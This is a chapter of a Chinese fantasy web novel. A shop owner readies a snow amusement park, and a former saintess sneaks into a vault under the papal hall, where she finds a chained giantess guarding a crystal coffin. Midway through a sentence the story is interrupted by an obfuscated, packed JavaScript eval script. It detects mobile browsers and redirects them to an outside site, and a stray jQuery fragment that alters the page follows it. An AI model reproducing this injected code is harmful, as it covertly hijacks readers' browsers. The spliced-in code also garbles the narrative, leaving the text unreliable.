73. 第73章 圣座之下

“要不要先找几个人来试营业一下?”苏游看着终于能够重新被竖起来的摩天轮,心痒难耐。


矮人们用了不少道具作为辅助,甚至把阿二的触手砍了几条放进摩天轮的支架里,顺便也解决了这个设施如何转动起来的动力问题。


当然,作为优秀员工的阿二非常乐于贡献自己的身体,不仅如此,它还主动要求将自己那几根粗壮的藤蔓投入进旋转木马中,简直乐在其中。


“找谁来呢——”苏游翻了翻客户名单,“肯定要找那些住在南方,平时见不到雪的那些客户。”苏游迅速地把法师塔的那几个客户标记了一下。


法师塔周围都是深红的岩山,一看平时就热得慌。


“烈日帝国,听这个国家名字,肯定也很热,把女皇她们也标记一下。”


“还有那几个贵族少爷小姐们,来我这里消费这么多次,我也要回馈一下老客户。”


苏游的眼神又看向位于最南方的龙岛,她记得上次来的几条龙很喜欢玩水,不知道对雪有没有兴趣。


苏游还记得,上次旺财的母亲差点把她的设施弄坏,这次可以顺便叫几条龙试验一下新游乐设施的坚固程度。


“不能再加快一点速度吗?”苏游从观景窗探出头,催促着正在雕刻的矮人们。


白胡子矮人首领因为无法理解苏游对于冰雕的大部分创意,于是直接开始融入自己的想法,在他的手掌下,一座漂亮的建筑逐渐成型,只是看起来有点像个铁匠铺。


“已经是最快速度了!再快,质量就没法保障了!”矮人首领大吼着,指向另一个方向,“你看看那些!”


是主动帮忙的巨人和兽人,他们正在雕刻一些十分抽象的艺术冰雕。


尼塔雕出了一座人狗不分的雕像,尼特斯一边得意地说着“这是姐姐和我”,一边在雕像边缘奋力刻出一朵简陋的小花,半兽人妮妮摸了摸自己制作的几个小三角,兔耳朵生气地竖了起来。


尼塔拍了拍弟弟的后背,大笑道:“我雕的其实是爸妈,我还想之后请店长把外公叫过来欣赏我的手艺,原来这么不像吗?”


“雪景真漂亮,连我都想去体验一下摩天轮了,”苏游双手捧着脸喃喃道:“真是让人迫不及待,你说是不是呢,阿大。”


“阿大?”没有得到回复,苏游疑惑地转头看向身后。


金发员工正专注地看着开始转动的摩天轮,一脸向往,看到苏游转身,金发员工像是突然反应过来,脸微微泛红道:“是的,我也很想体验,我……我真的十分期待,如果能和你一起乘坐的话……”他的声音越来越轻。


“真的非常期待……”


深夜,伊芙琳换下繁复的礼服,穿上黑色轻便服装,悄悄地溜了出门。


她算好时间,避过巡逻的圣骑士,悄悄地来到了教皇殿的侧面。


那边的一块彩窗已经被提前她做过手脚,她轻手轻脚地卸开那一块用水晶制作的彩窗,缩起身体,小心地从缺口进入殿内。


据说教皇殿里这一套奢华无比的彩窗,来自于某位虔诚的信徒无偿捐献。价值的话,反正随便从上面抠下一块装饰用的宝石,都足够普通平民一家五口过三辈子。


伊芙琳撇了撇嘴。


不过,这么多凸起宝石镶在窗上,正好能让她一个一个踩着慢慢下去。


她没有穿鞋,这些宝石硌得她有点脚疼,但赤着脚不容易发出脚步声。


缓缓走到大殿中央,苏游的菜品效果已经消失,现在伊芙琳看不到封印。


不过她早有准备,从胸口掏出一张纸,里面是她在初次见到后,努力回忆出的封印符咒,以及在圣殿图书馆里誊写的各类解封方式。


她蹲下身,充满耐心地慢慢尝试。


很幸运,她本已做好尝试几百次解封方式的心理准备,结果居然在第五十八次的时候成功解开封印。


地下室的门上发出了轻微的“咔擦”声,吓得伊芙琳冒出一身冷汗。


她看向圣座的方向。


月光透过彩窗撒下阴冷的光线,圣座在光线下一片璀璨。


看起来没有人发现,伊芙琳舒了一口气。


她用布条绑住了自己的手掌,小心地抬起沉重的地下室入口。


底下一片漆黑,伊芙琳小心地向内施放了一道照明术。


里面是与教皇殿外部完全不搭配的非常朴素的岩石通道,像是被什么大型魔法随意炸开,十分不平整。


伊芙琳赤着的双足不断踩到碎石,疼得她呲牙咧嘴,不过很快,她就找到了她想要找的东西。


奇异的香气飘散,通道的末端,是一间宽阔的大厅,不比上方的教皇殿小,侧面有通往不同方向的其他通道,也不知道会通向什么地方,让伊芙琳忍不住想起了巨人和精灵暂时居住的酒馆,那个酒馆地窖里,也有类似的不知终点的地下通道。


“这是……研究室还是陈列馆?”


一列一列的石台上,放置着不同的骸骨,浸泡在五颜六色的液体中,依照伊芙琳的知识储备,她看不出这些骸骨是来自人类、异族、或是什么野兽。


正中央的台面上,有一座水晶棺陈列着,水晶棺底下,是一道大型法阵。


一位庞大的女巨人,双眼被蒙住,四肢及脖颈被巨大的锁链束缚着,从眉心开始起的圣印蔓延到她的四肢,她身体正对着水晶棺坐着,像是睡着了。


伊芙琳捂住了嘴,全身发抖了半天,终于缓了过来,小心地走向女巨人。


“请问,是丽妲小姐吗?”回忆着巨人王对她的称呼,伊芙琳轻轻地问道。


女巨人没有任何反应,像是一座瑰丽的巨型雕像,连呼吸都若隐若现。


伊芙琳狠狠喘了口气,咬住嘴唇,又看向水晶棺。


一股寒气袭来,似乎越靠近水晶棺就越冷,伊芙琳远远地看了一眼,水晶棺内是一位身姿修长,容颜精致的男精灵,他被冰封在棺中,闭着双眼,仿佛睡着了。


伊芙琳用圣术感知了一下,水晶棺明显是个炼金道具,隔绝了棺中人的所有气息,无法判断他的生死。


“奇怪,这个法阵怎么……我记得应该是解封用的吧,为什么会用在这里?”伊芙琳有点疑惑。


“难道,冰封不是圣殿干的,而是他自己做的?”伊芙琳睁大了眼:“对啊,圣殿为什么不把他也烙印了,而这是把他放在棺材里,所


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036786|158351||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


以其实就是圣殿拿他被办法,不能烙印他!”


既然这样的话,那尼塔小姐的父亲活着的几率也很大了,伊芙琳握了握拳。


“店长可以邀请我附近的‘活人’一起进入她的领域,那我只需要把这个水晶棺打开……”伊芙琳捏了捏口袋里的那张皱巴巴的召唤卷轴,激动地迈开步,向着水晶棺走去。


突然间,她寒毛直竖,下意识地向前一扑,一只巨大的拳头从她头顶擦过,碎石打到了她的脸颊,劲风让她的耳朵嗡嗡作响。


伊芙琳趴在地上不敢动,直到耳鸣消失,她才小心地缩着头,倒退着爬了几步,才软着腿站了起来。


尼塔的母亲——女巨人丽妲,不知什么时候醒了过来,挣开了所有锁链,巨大的身躯无声无息地出现,一拳锤向了试图靠近水晶棺的伊芙琳。


锁链的声音此时才进入她的耳中。


伊芙琳声音都在发抖:“丽妲小姐,您是清醒的吗?我是您的女儿委托来找您的……”


女巨人半跪在地上,没有发出声音,只是守在水晶棺前,像是一头野兽,在保护自己最珍爱的宝物。


“没有意识,只是靠着本能在守护对方吗?”伊芙琳的泪水滑落了下来,“好恶心……圣殿真是……杀千刀的……”


“丽妲小姐,丽妲小姐……我不是坏人,让我过去可以吗?我能帮你们。”


伊芙琳声音轻柔地安抚着女巨人,小心地伸出手。


但没有用,女巨人对陌生人的靠近十分不满,低声咆哮着,手臂肌肉贲张,巨大的拳头又重重地砸了下来。


伊芙琳控制不住惊叫一声,连滚带爬地躲过重拳,又不甘心地看向女巨人和水晶棺。


苏游店长每次都是单方面联系她,而她只有一张魔法召唤卷轴,听说需要第二章卷轴,才能够主动申请进入店内。


原本她想着,救出尼塔小姐的父母后,召唤店里的员工,请对方帮忙将两人带进店里。


但如果教皇殿底下直接召唤的话——她回忆着那几个吵闹的员工——她不知道召唤会闹出多大的动静,她对那几个人的战斗能力也不太了解,虽然他们恐吓自己的时候确实凶残,但能不能成功压制尼塔小姐并把两个人都带走呢?


如果失败的话……伊芙琳并不想让那些人有圣殿抓到的风险。


没有办法打开水晶棺,今天只能放弃,明晚她得去找巨人王打听一下,怎么才能更好地挡住丽妲小姐。


“糟糕,地下室的门我也没关,刚才的声音会不会传出来。”伊芙琳不安地看了看入口的方向,努力祈祷着。


“不对,我怎么又下意识向光明女神祈祷了。”当了很多年圣女的伊芙琳停住了嘴里已经形成肌肉记忆的祈福经文,小心地探出了头。


祈祷果然没用,她的脖子一紧,一股熟悉的感受涌来,她再次被提着后领拎了起来。


今晚应当守在教皇寝宫门口的凯雅枢机正冷冷地看着她。


月光照在她冷若冰霜的脸上,纯黑的双眼没有任何感情地把她从头到脚扫了一遍。


完了,被抓了个正着。


伊芙琳从头顶凉到脚底,全身僵硬着等待自己的命运。